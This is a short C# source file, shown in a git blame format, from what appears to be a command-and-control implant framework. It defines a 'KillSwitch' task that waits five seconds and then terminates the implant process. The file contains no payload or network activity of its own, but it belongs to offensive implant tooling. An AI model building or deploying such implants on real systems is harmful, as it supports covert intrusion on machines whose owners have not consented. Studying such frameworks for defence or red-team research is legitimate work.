2022-03-16 19:10:46 -07:00
|
|
|
|
using System;
|
2022-03-19 18:09:14 -07:00
|
|
|
|
using System.Timers;
|
2022-03-16 19:10:46 -07:00
|
|
|
|
|
|
|
|
|
using Implant.Models;
|
|
|
|
|
|
|
|
|
|
namespace Implant.Tasks.Execute
|
|
|
|
|
{
|
|
|
|
|
internal class Exit : ImplantCommands
|
|
|
|
|
{
|
|
|
|
|
public override string Name => "KillSwitch";
|
|
|
|
|
|
|
|
|
|
public override string Execute(ImplantTask task)
|
|
|
|
|
{
|
|
|
|
|
|
2022-03-19 18:09:14 -07:00
|
|
|
|
Timer timer = new Timer();
|
|
|
|
|
timer.Interval = 5000;
|
|
|
|
|
timer.AutoReset = false;
|
|
|
|
|
timer.Elapsed += SelfDestruct;
|
|
|
|
|
timer.Start();
|
|
|
|
|
|
|
|
|
|
return "";
|
2022-03-16 19:10:46 -07:00
|
|
|
|
}
|
2022-03-19 18:09:14 -07:00
|
|
|
|
|
|
|
|
|
private static void SelfDestruct(object sender, ElapsedEventArgs e) { Environment.Exit(0); }
|
2022-03-16 19:10:46 -07:00
|
|
|
|
}
|
|
|
|
|
}
|